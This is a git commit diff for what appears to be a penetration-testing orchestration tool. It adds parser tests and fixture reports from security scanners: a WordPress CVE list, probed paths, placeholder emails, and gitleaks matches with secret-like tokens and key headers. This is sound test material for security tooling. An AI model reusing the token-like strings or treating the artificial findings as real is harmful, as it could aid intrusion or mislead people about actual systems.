src/backend/tests/data/reports/gitleaks/leaky-repo.json create mode 100644 src/backend/tests/data/reports/gobuster/dir.txt create mode 100644 src/backend/tests/data/reports/gobuster/dns.txt create mode 100644 src/backend/tests/data/reports/gobuster/vhost.txt create mode 100644 src/backend/tests/data/reports/joomscan/exploitable.txt create mode 100644 src/backend/tests/data/reports/joomscan/not-exploitable.txt create mode 100644 src/backend/tests/data/reports/joomscan/not-joomla.txt create mode 100644 src/backend/tests/data/reports/log4j_scan/cve_2021_44228.txt create mode 100644 src/backend/tests/data/reports/log4j_scan/not_vulnerable.txt create mode 100644 src/backend/tests/data/reports/metasploit/exploits.txt create mode 100644 src/backend/tests/data/reports/metasploit/nothing.txt create mode 100644 src/backend/tests/data/reports/nikto/default.xml create mode 100644 src/backend/tests/data/reports/nmap/enumeration-vulners.xml create mode 100644 src/backend/tests/data/reports/nmap/ftp-vulnerabilities.xml create mode 100644 src/backend/tests/data/reports/nmap/smb-analysis.xml create mode 100644 src/backend/tests/data/reports/nmap/smb-users.xml create mode 100644 src/backend/tests/data/reports/nuclei/tech_and_vulns.json create mode 100644 src/backend/tests/data/reports/searchsploit/exploits.json create mode 100644 src/backend/tests/data/reports/searchsploit/nothing.json create mode 100644 src/backend/tests/data/reports/smbmap/directories.txt create mode 100644 src/backend/tests/data/reports/smbmap/shares.txt create mode 100644 src/backend/tests/data/reports/spring4shell_scan/cve_2022_22963.txt create mode 100644 src/backend/tests/data/reports/spring4shell_scan/cve_2022_22965.txt create mode 100644 src/backend/tests/data/reports/spring4shell_scan/not_vulnerable.txt create mode 100644 src/backend/tests/data/reports/ssh_audit/cve_2018_10933.txt create mode 100644 src/backend/tests/data/reports/ssh_audit/cve_2018_15473.txt create mode 100644 src/backend/tests/data/reports/sslscan/heartbleed.xml create mode 100644 src/backend/tests/data/reports/sslscan/insecure-renegotiation.xml create mode 100644 src/backend/tests/data/reports/sslscan/protocols.xml create mode 100644 src/backend/tests/data/reports/sslyze/insecure-renegotiation.json create mode 100644 src/backend/tests/data/reports/sslyze/protocols.json create mode 100644 src/backend/tests/data/reports/sslyze/vulnerabilities.json create mode 100644 src/backend/tests/data/reports/theharvester/scanme.json create mode 100644 src/backend/tests/data/reports/zap/active-scan.xml create mode 100644 src/backend/tests/parsers/__init__.py create mode 100644 src/backend/tests/parsers/test_cmseek.py create mode 100644 src/backend/tests/parsers/test_dirsearch.py create mode 100644 src/backend/tests/parsers/test_emailfinder.py create mode 100644 src/backend/tests/parsers/test_emailharvester.py create mode 100644 src/backend/tests/parsers/test_gitleaks.py create mode 100644 src/backend/tests/parsers/test_gobuster.py create mode 100644 src/backend/tests/parsers/test_joomscan.py create mode 100644 src/backend/tests/parsers/test_log4j_scan.py create mode 100644 src/backend/tests/parsers/test_metasploit.py create mode 100644 src/backend/tests/parsers/test_nikto.py create mode 100644 src/backend/tests/parsers/test_nmap.py create mode 100644 src/backend/tests/parsers/test_nuclei.py create mode 100644 src/backend/tests/parsers/test_searchsploit.py create mode 100644 src/backend/tests/parsers/test_smbmap.py create mode 100644 src/backend/tests/parsers/test_spring4shell_scan.py create mode 100644 src/backend/tests/parsers/test_ssh_audit.py create mode 100644 src/backend/tests/parsers/test_sslscan.py create mode 100644 src/backend/tests/parsers/test_sslyze.py create mode 100644 src/backend/tests/parsers/test_theharvester.py create mode 100644 src/backend/tests/parsers/test_zap.py diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index bd00ab7a3..0fad90930 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -36,12 +36,12 @@ def _get_related_class(self, package: str, name: str) -> Any: ) cls = getattr( module, - name[0] + name[1:].replace(" ", "").replace("-", ""), + name[0].upper() + name[1:].lower().replace(" ", "").replace("-", ""), ) - except (AttributeError, ModuleNotFoundError): + except (AttributeError, ModuleNotFoundError) as ex: module = importlib.import_module(f"{package}.base") type = package.split(".")[-1][:-1] - cls = getattr(module, f"Base{type[0].upper() + type[:1].lower()}") + cls = getattr(module, f"Base{type[0].upper() + type[1:].lower()}") return cls diff --git a/src/backend/input_types/models.py b/src/backend/input_types/models.py index 8dbf2689d..c08516c19 100644 --- a/src/backend/input_types/models.py +++ b/src/backend/input_types/models.py @@ -1,4 +1,4 @@ -from typing import List, Self, Union +from typing import List, Self from django.apps import apps from django.db import models @@ -28,20 +28,12 @@ def __str__(self) -> str: return self.name def _get_class_from_reference(self, reference: str) -> BaseInput: - """Get model from string reference. - - Args: - reference (str): Reference to model - - Returns: - Union[BaseInput, None]: Model class related to reference - """ if not reference: return None app_label, model_name = reference.split(".", 1) return apps.get_model(app_label=app_label, model_name=model_name) - def get_model_class(self) -> Union[BaseInput, None]: + def get_model_class(self) -> BaseInput | None: """Get related model from 'model' reference. Returns: @@ -49,7 +41,7 @@ def get_model_class(self) -> Union[BaseInput, None]: """ return self._get_class_from_reference(self.model) - def get_fallback_model_class(self) -> Union[BaseInput, None]: + def get_fallback_model_class(self) -> BaseInput | None: """Get callback model from 'fallback_model' reference. Returns: diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index 126782081..b08c9cf96 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -13,7 +13,7 @@ pyjwt==2.7.0 python-magic==0.4.27 python-libnmap==0.7.3 python-telegram-bot==20.6 -pyyaml==6.0.0 +pyyaml==6.0.1 requests==2.31.0 rq==1.15.1 setuptools==68.0.0 diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index 6358e56b4..ff0faef19 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -1,11 +1,14 @@ import json from dataclasses import dataclass +from pathlib import Path +from sys import stdout from typing import Any, Dict, List, Tuple from django.db import transaction from django.test import TestCase -from findings.framework.models import Finding +from executions.models import Execution from rest_framework.test import APIClient +from tools.parsers.base import BaseParser class RekonoTestCase: @@ -82,10 +85,41 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: @dataclass class ToolTestCase(RekonoTestCase): - tool: str report: str - expected: List[Finding] - stdout: bool + expected: List[Dict[str, Any]] = None + + def _get_parser( + self, execution: Execution, executor_arguments: List[str], reports: Path + ) -> BaseParser: + report = reports / self.report + executor = execution.configuration.tool.get_executor_class()(execution) + executor.arguments = executor_arguments + parser = execution.configuration.tool.get_parser_class()( + executor, + report.read_text() + if not execution.configuration.tool.output_format + else None, + ) + if execution.configuration.tool.output_format: + parser.report = report + return parser def test_case(self, *args: Any, **kwargs: Any) -> None: - return super().test_case() + parser = self._get_parser( + kwargs["execution"], + kwargs["executor_arguments"], + kwargs["reports"] / kwargs["tool"].lower().replace(" ", "_"), + ) + parser.parse() + try: + self.tc.assertEqual(len(self.expected or []), len(parser.findings)) + except Exception as ex: + print(self.expected) + input(parser.findings) + raise ex + for index, finding in enumerate(parser.findings): + expected = self.expected[index] + self.tc.assertTrue(isinstance(finding, expected.get("model"))) + for field, value in expected.items(): + if field != "model": + self.tc.assertEqual(value, getattr(finding, field)) diff --git a/src/backend/tests/data/reports/cmseek/dvwp.json b/src/backend/tests/data/reports/cmseek/dvwp.json new file mode 100644 index 000000000..02ca700ad --- /dev/null +++ b/src/backend/tests/data/reports/cmseek/dvwp.json @@ -0,0 +1,13 @@ +{ + "cms_id": "wp", + "cms_name": "WordPress", + "cms_url": "https://wordpress.org", + "detection_param": "generator", + "last_scanned": "2022-02-18 17:43:42.398858", + "url": "http://10.10.10.10/", + "wp_license": "http://10.10.10.10//license.txt", + "wp_plugins": "social-warfare Version 3.5.2,wp-file-upload Version 5.3,wp-advanced-search Version 1.0,", + "wp_readme_file": "http://10.10.10.10//readme.html", + "wp_themes": "twentytwenty Version 1.0,", + "wp_version": "5.3" +} \ No newline at end of file diff --git a/src/backend/tests/data/reports/cmseek/joomla.json b/src/backend/tests/data/reports/cmseek/joomla.json new file mode 100644 index 000000000..6b0635196 --- /dev/null +++ b/src/backend/tests/data/reports/cmseek/joomla.json @@ -0,0 +1,18 @@ +{ + "cms_id": "joom", + "cms_name": "joomla", + "cms_url": "https://joomla.org", + "detection_param": "header", + "joomla_backup_files": [ + "https://10.10.10.10/demo/2.back", + "https://10.10.10.10/demo/2.save", + "https://10.10.10.10/demo/2.tmp", + "https://10.10.10.10/demo/2.backup", + "https://10.10.10.10/demo/2.txt" + ], + "joomla_debug_mode": "enabled", + "joomla_version": "1.0", + "last_scanned": "2022-02-18 17:02:47.609972", + "url": "https://10.10.10.10/demo", + "vulnerabilities_count": "0" +} \ No newline at end of file diff --git a/src/backend/tests/data/reports/cmseek/vwp.json b/src/backend/tests/data/reports/cmseek/vwp.json new file mode 100644 index 000000000..00852973a --- /dev/null +++ b/src/backend/tests/data/reports/cmseek/vwp.json @@ -0,0 +1,296 @@ +{ + "cms_id": "wp", + "cms_name": "WordPress", + "cms_url": "https://wordpress.org", + "detection_param": "generator", + "last_scanned": "2022-02-18 17:48:14.232005", + "path": "var/www/html/", + "url": "http://10.10.10.10", + "wp_changelog_file": "https://codex.wordpress.org/Version_4.8.3", + "wp_license": "http://10.10.10.10/license.txt", + "wp_plugins": "wp-advanced-search Version 1.0,social-warfare Version 3.5.2,simple-file-list Version 5,wp-file-upload Version 4.8.3,", + "wp_readme_file": "http://10.10.10.10/readme.html", + "wp_themes": "twentyseventeen Version 4.8.3,", + "wp_version": "4.8.3", + "wp_vuln_count": "18", + "wp_vulns": { + "changelog_url": "https://codex.wordpress.org/Version_4.8.3", + "release_date": "2017-10-31", + "version": "4.8.3", + "vulnerabilities": [ + { + "cve": "CVE-2019-16223", + "cvss_score": "3.5", + "cwe_id": "79", + "date": "2019-09-11", + "fixed_in": "N/A", + "name": "WordPress before 5.2.3 allows XSS in post previews by authenticated users.", + "references": [ + "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" + ], + "type": "Cross Site Scripting" + }, + { + "cve": "CVE-2019-16222", + "cvss_score": "4.3", + "cwe_id": "79", + "date": "2019-09-11", + "fixed_in": "N/A", + "name": "WordPress before 5.2.3 has an issue with URL sanitization in wp_kses_bad_protocol_once in wp-includes/kses.php that can lead to cross-site scripting (XSS) attacks.", + "references": [ + "https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68", + "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/", + "https://core.trac.wordpress.org/changeset/45997" + ], + "type": "Cross Site Scripting" + }, + { + "cve": "CVE-2019-16221", + "cvss_score": "4.3", + "cwe_id": "79", + "date": "2019-09-11", + "fixed_in": "N/A", + "name": "WordPress before 5.2.3 allows reflected XSS in the dashboard.", + "references": [ + "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" + ], + "type": "Cross Site Scripting" + }, + { + "cve": "CVE-2019-16220", + "cvss_score": "5.8", + "cwe_id": "601", + "date": "2019-09-11", + "fixed_in": "N/A", + "name": "In WordPress before 5.2.3, validation and sanitization of a URL in wp_validate_redirect in wp-includes/pluggable.php could lead to an open redirect.", + "references": [ + "https://core.trac.wordpress.org/changeset/45971", + "https://github.com/WordPress/WordPress/commit/c86ee39ff4c1a79b93c967eb88522f5c09614a28", + "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" + ], + "type": "" + }, + { + "cve": "CVE-2019-16219", + "cvss_score": "4.3", + "cwe_id": "79", + "date": "2019-09-11", + "fixed_in": "N/A", + "name": "WordPress before 5.2.3 allows XSS in shortcode previews.", + "references": [ + "https://fortiguard.com/zeroday/FG-VD-18-165", + "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" + ], + "type": "Cross Site Scripting" + }, + { + "cve": "CVE-2019-16218", + "cvss_score": "4.3", + "cwe_id": "79", + "date": "2019-09-11", + "fixed_in": "N/A", + "name": "WordPress before 5.2.3 allows XSS in stored comments.", + "references": [ + "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" + ], + "type": "Cross Site Scripting" + }, + { + "cve": "CVE-2019-16217", + "cvss_score": "4.3", + "cwe_id": "79", + "date": "2019-09-11", + "fixed_in": "N/A", + "name": "WordPress before 5.2.3 allows XSS in media uploads because wp_ajax_upload_attachment is mishandled.", + "references": [ + "https://core.trac.wordpress.org/changeset/45936", + "https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/" + ], + "type": "Cross Site Scripting" + }, + { + "cve": "CVE-2019-9787", + "cvss_score": "6.8", + "cwe_id": "352", + "date": "2019-03-14", + "fixed_in": "N/A", + "name": "WordPress before 5.1.1 does not properly filter comment content, leading to Remote Code Execution by unauthenticated users in a default configuration. This occurs because CSRF protection is mishandled, and because Search Engine Optimization of A elements is performed incorrectly, leading to XSS. The XSS results in administrative access, which allows arbitrary changes to .php files. This is related to wp-admin/includes/ajax-actions.php and wp-includes/comment.php.", + "references": [ + "https://wordpress.org/support/wordpress-version/version-5-1-1/", + "https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/", + "http://www.securityfocus.com/bid/107411", + "https://blog.ripstech.com/2019/wordpress-csrf-to-rce/", + "https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b", + "https://lists.debian.org/debian-lts-announce/2019/03/msg00044.html" + ], + "type": "Execute Code, Cross Site Scripting, CSRF " + }, + { + "cve": "CVE-2019-8942", + "cvss_score": "6.5", + "cwe_id": "94", + "date": "2019-02-19", + "fixed_in": "N/A", + "name": "WordPress before 4.9.9 and 5.x before 5.0.1 allows remote code execution because an _wp_attached_file Post Meta entry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. Exploitation can leverage CVE-2019-8943.", + "references": [ + "https://www.exploit-db.com/exploits/46662/", + "https://www.exploit-db.com/exploits/46511/", + "https://www.debian.org/security/2019/dsa-4401", + "https://lists.debian.org/debian-lts-announce/2019/03/msg00044.html", + "http://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce", + "http://www.securityfocus.com/bid/107088", + "https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/", + "http://packetstormsecurity.com/files/152396/WordPress-5.0.0-crop-image-Shell-Upload.html" + ], + "type": "Execute Code" + }, + { + "cve": "CVE-2018-20153", + "cvss_score": "3.5", + "cwe_id": "79", + "date": "2018-12-14", + "fixed_in": "N/A", + "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, contributors could modify new comments made by users with greater privileges, possibly causing XSS.", + "references": [ + "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", + "https://codex.wordpress.org/Version_4.9.9", + "https://wordpress.org/support/wordpress-version/version-5-0-1/", + "http://www.securityfocus.com/bid/106220", + "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/" + ], + "type": "Cross Site Scripting" + }, + { + "cve": "CVE-2018-20152", + "cvss_score": "5.0", + "cwe_id": "20", + "date": "2018-12-14", + "fixed_in": "N/A", + "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, authors could bypass intended restrictions on post types via crafted input.", + "references": [ + "https://wordpress.org/support/wordpress-version/version-5-0-1/", + "http://www.securityfocus.com/bid/106220", + "https://codex.wordpress.org/Version_4.9.9", + "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", + "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/" + ], + "type": "Bypass a restriction or similar" + }, + { + "cve": "CVE-2018-20151", + "cvss_score": "5.0", + "cwe_id": "200", + "date": "2018-12-14", + "fixed_in": "N/A", + "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, the user-activation page could be read by a search engine&#039;s web crawler if an unusual configuration were chosen. The search engine could then index and display a user&#039;s e-mail address and (rarely) the password that was generated by default.", + "references": [ + "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", + "http://www.securityfocus.com/bid/106220", + "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/", + "https://codex.wordpress.org/Version_4.9.9", + "https://wordpress.org/support/wordpress-version/version-5-0-1/" + ], + "type": "Obtain Information" + }, + { + "cve": "CVE-2018-20150", + "cvss_score": "4.3", + "cwe_id": "79", + "date": "2018-12-14", + "fixed_in": "N/A", + "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, crafted URLs could trigger XSS for certain use cases involving plugins.", + "references": [ + "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", + "https://wordpress.org/support/wordpress-version/version-5-0-1/", + "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/", + "http://www.securityfocus.com/bid/106220", + "https://codex.wordpress.org/Version_4.9.9", + "https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460" + ], + "type": "Cross Site Scripting" + }, + { + "cve": "CVE-2018-20149", + "cvss_score": "3.5", + "cwe_id": "79", + "date": "2018-12-14", + "fixed_in": "N/A", + "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, when the Apache HTTP Server is used, authors could upload crafted files that bypass intended MIME type restrictions, leading to XSS, as demonstrated by a .jpg file without JPEG data.", + "references": [ + "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/", + "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", + "https://wordpress.org/support/wordpress-version/version-5-0-1/", + "http://www.securityfocus.com/bid/106220", + "https://codex.wordpress.org/Version_4.9.9", + "https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a" + ], + "type": "Cross Site Scripting, Bypass a restriction or similar" + }, + { + "cve": "CVE-2018-20148", + "cvss_score": "7.5", + "cwe_id": "502", + "date": "2018-12-14", + "fixed_in": "N/A", + "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, contributors could conduct PHP object injection attacks via crafted metadata in a wp.getMediaItem XMLRPC call. This is caused by mishandling of serialized data at phar:// URLs in the wp_get_attachment_thumb_file function in wp-includes/post.php.", + "references": [ + "https://www.zdnet.com/article/wordpress-vulnerability-affects-a-third-of-most-popular-websites-online/", + "http://www.securityfocus.com/bid/106220", + "https://blog.secarma.co.uk/labs/near-phar-dangerous-unserialization-wherever-you-are", + "https://codex.wordpress.org/Version_4.9.9", + "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/", + "https://wordpress.org/support/wordpress-version/version-5-0-1/", + "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/" + ], + "type": "" + }, + { + "cve": "CVE-2018-20147", + "cvss_score": "5.5", + "cwe_id": "287", + "date": "2018-12-14", + "fixed_in": "N/A", + "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, authors could modify metadata to bypass intended restrictions on deleting files.", + "references": [ + "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/", + "https://wordpress.org/support/wordpress-version/version-5-0-1/", + "https://www.debian.org/security/2019/dsa-4401", + "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", + "http://www.securityfocus.com/bid/106220", + "https://codex.wordpress.org/Version_4.9.9", + "https://lists.debian.org/debian-lts-announce/2019/02/msg00019.html" + ], + "type": "Bypass a restriction or similar" + }, + { + "cve": "CVE-2018-12895", + "cvss_score": "6.5", + "cwe_id": "22", + "date": "2018-06-26", + "fixed_in": "N/A", + "name": "WordPress through 4.9.6 allows Author users to execute arbitrary code by leveraging directory traversal in the wp-admin/post.php thumb parameter, which is passed to the PHP unlink function and can delete the wp-config.php file. This is related to missing filename validation in the wp-includes/post.php wp_delete_attachment function. The attacker must have capabilities for files and posts that are normally available only to the Author, Editor, and Administrator roles. The attack methodology is to delete wp-config.php and then launch a new installation process to increase the attacker&#039;s privileges.", + "references": [ + "https://lists.debian.org/debian-lts-announce/2018/07/msg00046.html", + "https://www.debian.org/security/2018/dsa-4250", + "http://www.securityfocus.com/bid/104569", + "https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/" + ], + "type": "Execute Code, Directory traversal" + }, + { + "cve": "CVE-2017-1000600", + "cvss_score": "6.5", + "cwe_id": "20", + "date": "2018-09-06", + "fixed_in": "N/A", + "name": "WordPress version &lt;4.9 contains a CWE-20 Input Validation vulnerability in thumbnail processing that can result in remote code execution. This attack appears to be exploitable via thumbnail upload by an authenticated user and may require additional plugins in order to be exploited however this has not been confirmed at this time. This issue appears to have been partially, but not completely fixed in WordPress 4.9", + "references": [ + "http://www.securityfocus.com/bid/105305", + "https://www.theregister.co.uk/2018/08/20/php_unserialisation_wordpress_vuln/", + "https://youtu.be/GePBmsNJw6Y?t=1763" + ], + "type": "Execute Code" + } + ] + } +} \ No newline at end of file diff --git a/src/backend/tests/data/reports/cmseek/wordpress.json b/src/backend/tests/data/reports/cmseek/wordpress.json new file mode 100644 index 000000000..fcc16ce65 --- /dev/null +++ b/src/backend/tests/data/reports/cmseek/wordpress.json @@ -0,0 +1,14 @@ +{ + "cms_id": "wp", + "cms_name": "WordPress", + "cms_url": "https://wordpress.org", + "detection_param": "generator", + "last_scanned": "2022-02-18 17:00:02.449994", + "url": "https://10.10.10.10/", + "wp_license": "https://10.10.10.10//license.txt", + "wp_plugins": "orbisius-simple-notice Version 1.0,qs_site_app Version 1642244787,monarch Version 1.4.14,", + "wp_readme_file": "https://10.10.10.10//readme.html", + "wp_themes": "primer Version 1590756562,qs-on-primer Version 1617278312,", + "wp_users": "wpdemohelper1,superadmin,wpdemo,", + "wp_version": "5.8.3" +} \ No newline at end of file diff --git a/src/backend/tests/data/reports/dirsearch/default.json b/src/backend/tests/data/reports/dirsearch/default.json new file mode 100644 index 000000000..afefb2a66 --- /dev/null +++ b/src/backend/tests/data/reports/dirsearch/default.json @@ -0,0 +1,144 @@ +{ + "info": { + "args": "dirsearch.py -u http://10.10.10.10 -o /home/kali/Desktop/testing/dirsearch/default.json --format=json", + "time": "Fri Feb 18 16:49:03 2022" + }, + "results": [ + { + "http://10.10.10.10:80/": [ + { + "content-length": 277, + "path": "/.ht_wsr.txt", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htaccess.sample", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htaccess_orig", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htaccess.bak1", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htaccess_sc", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htaccess.save", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htaccess.orig", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htaccess_extra", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htm", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htaccessBAK", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.httr-oauth", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htaccessOLD2", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.html", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htaccessOLD", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htpasswds", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.htpasswd_test", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/.php", + "redirect": null, + "status": 403 + }, + { + "content-length": 1691, + "path": "/assets/", + "redirect": null, + "status": 200 + }, + { + "content-length": 313, + "path": "/assets", + "redirect": "http://10.10.10.10/assets/", + "status": 301 + }, + { + "content-length": 33560, + "path": "/index.html", + "redirect": null, + "status": 200 + }, + { + "content-length": 277, + "path": "/server-status", + "redirect": null, + "status": 403 + }, + { + "content-length": 277, + "path": "/server-status/", + "redirect": null, + "status": 403 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/backend/tests/data/reports/emailfinder/default.txt b/src/backend/tests/data/reports/emailfinder/default.txt new file mode 100644 index 000000000..0a6a18cbe --- /dev/null +++ b/src/backend/tests/data/reports/emailfinder/default.txt @@ -0,0 +1,31 @@ +.,:::::: .-:::::':::. :::.:::::::-. :::::::.. +;;;;'''' ;;;'''' `;;;;, `;;; ;;, `';,;;;;``;;;; + [[cccc [[[,,== [[[[[. '[[ `[[ [[ [[[,/[[[' + $$"""" `$$$"`` $$$ "Y$c$$ $$, $$ $$$$$$c + 888oo,__ 888 888 Y88 888_,o8P' 888b "88bo, + """"YUMMM"MM, MMM YM MMMMP"` MMMM "W" + +[+] Bing discovered 5 emails +|_ Author: @JosueEncinar +|_ Description: Search emails from a domain through search engines. +|_ Version: 0.3.0b +|_ Usage: emailfinder -d domain.com + +Searching in google... +Searching in bing... +Searching in baidu... +Searching in yandex... +[+] bing done! +[!] yandex error YandexDetection, Robot detected +[+] Google discovered 1 emails +[+] google done! +[i] Baidu did not discover any email IDs +[+] baidu done! + +Total emails: 5 +---------------- +support@test.com +education@test.com +ceo@test.com +someone@test.com +other@test.com \ No newline at end of file diff --git a/src/backend/tests/data/reports/emailharvester/default.txt b/src/backend/tests/data/reports/emailharvester/default.txt new file mode 100644 index 000000000..56a021e81 --- /dev/null +++ b/src/backend/tests/data/reports/emailharvester/default.txt @@ -0,0 +1,5 @@ +support@test.com +education@test.com +ceo@test.com +someone@test.com +other@test.com diff --git a/src/backend/tests/data/reports/gitleaks/leaky-repo.json b/src/backend/tests/data/reports/gitleaks/leaky-repo.json new file mode 100644 index 000000000..81a52d5cf --- /dev/null +++ b/src/backend/tests/data/reports/gitleaks/leaky-repo.json @@ -0,0 +1,128 @@ +[ + { + "Description": "Generic API Key", + "StartLine": 4, + "EndLine": 4, + "StartColumn": 10, + "EndColumn": 58, + "Match": "token: \"7f9cc25de23d1a255720b0ae4551f4044d600f46\"", + "Secret": "7f9cc25de23d1a255720b0ae4551f4044d600f46", + "File": "hub", + "Commit": "9f1468c79df2cf13c66041692ca7f044a27a874b", + "Entropy": 3.7134607, + "Author": "ASDF", + "Email": "git@asdf.com", + "Date": "2019-11-15T00:28:47Z", + "Message": "Updated some secrets, flagged secrets as informative or risk", + "Tags": [], + "RuleID": "generic-api-key" + }, + { + "Description": "Slack token", + "StartLine": 23, + "EndLine": 23, + "StartColumn": 26, + "EndColumn": 42, + "Match": "xoxp-858723095049", + "Secret": "xoxp-858723095049", + "File": ".bash_profile", + "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", + "Entropy": 0, + "Author": "ASDF", + "Email": "git@asdf.com", + "Date": "2019-11-07T05:56:54Z", + "Message": "Initial Commit", + "Tags": [], + "RuleID": "slack-access-token" + }, + { + "Description": "Generic API Key", + "StartLine": 22, + "EndLine": 22, + "StartColumn": 25, + "EndColumn": 76, + "Match": "API_TOKEN='51e61afee2c2667123fc9ed160a0a20b330c8f74'", + "Secret": "51e61afee2c2667123fc9ed160a0a20b330c8f74", + "File": ".bash_profile", + "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", + "Entropy": 3.7964394, + "Author": "ASDF", + "Email": "git@asdf.com", + "Date": "2019-11-07T05:56:54Z", + "Message": "Initial Commit", + "Tags": [], + "RuleID": "generic-api-key" + }, + { + "Description": "Generic API Key", + "StartLine": 106, + "EndLine": 106, + "StartColumn": 19, + "EndColumn": 65, + "Match": "API_KEY=\"38c47f19e349153fa963bb3b3212fe8e-us11\"", + "Secret": "38c47f19e349153fa963bb3b3212fe8e-us11", + "File": ".bashrc", + "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", + "Entropy": 3.8002923, + "Author": "ASDF", + "Email": "git@asdf.com", + "Date": "2019-11-07T05:56:54Z", + "Message": "Initial Commit", + "Tags": [], + "RuleID": "generic-api-key" + }, + { + "Description": "Generic API Key", + "StartLine": 109, + "EndLine": 109, + "StartColumn": 23, + "EndColumn": 70, + "Match": "TOKEN=\"c77e01c1e89682e4d4b94a059a7fd2b37ab326ed\"", + "Secret": "c77e01c1e89682e4d4b94a059a7fd2b37ab326ed", + "File": ".bashrc", + "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", + "Entropy": 3.908695, + "Author": "ASDF", + "Email": "git@asdf.com", + "Date": "2019-11-07T05:56:54Z", + "Message": "Initial Commit", + "Tags": [], + "RuleID": "generic-api-key" + }, + { + "Description": "RSA private key", + "StartLine": 1, + "EndLine": 1, + "StartColumn": 1, + "EndColumn": 31, + "Match": "-----BEGIN RSA PRIVATE KEY-----", + "Secret": "-----BEGIN RSA PRIVATE KEY-----", + "File": ".ssh/id_rsa", + "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", + "Entropy": 0, + "Author": "ASDF", + "Email": "git@asdf.com", + "Date": "2019-11-07T05:56:54Z", + "Message": "Initial Commit", + "Tags": [], + "RuleID": "RSA-PK" + }, + { + "Description": "PKCS8 private key", + "StartLine": 1, + "EndLine": 1, + "StartColumn": 1, + "EndColumn": 27, + "Match": "-----BEGIN PRIVATE KEY-----", + "Secret": "-----BEGIN PRIVATE KEY-----", + "File": "misc-keys/cert-key.pem", + "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", + "Entropy": 0, + "Author": "ASDF", + "Email": "git@asdf.com", + "Date": "2019-11-07T05:56:54Z", + "Message": "Initial Commit", + "Tags": [], + "RuleID": "PKCS8-PK" + } +] diff --git a/src/backend/tests/data/reports/gobuster/dir.txt b/src/backend/tests/data/reports/gobuster/dir.txt new file mode 100644 index 000000000..e781e17f7 --- /dev/null +++ b/src/backend/tests/data/reports/gobuster/dir.txt @@ -0,0 +1,13 @@ +/.gitignore (Status: 200) [Size: 57] +/.hta (Status: 403) [Size: 290] +/.htaccess (Status: 403) [Size: 295] +/.htpasswd 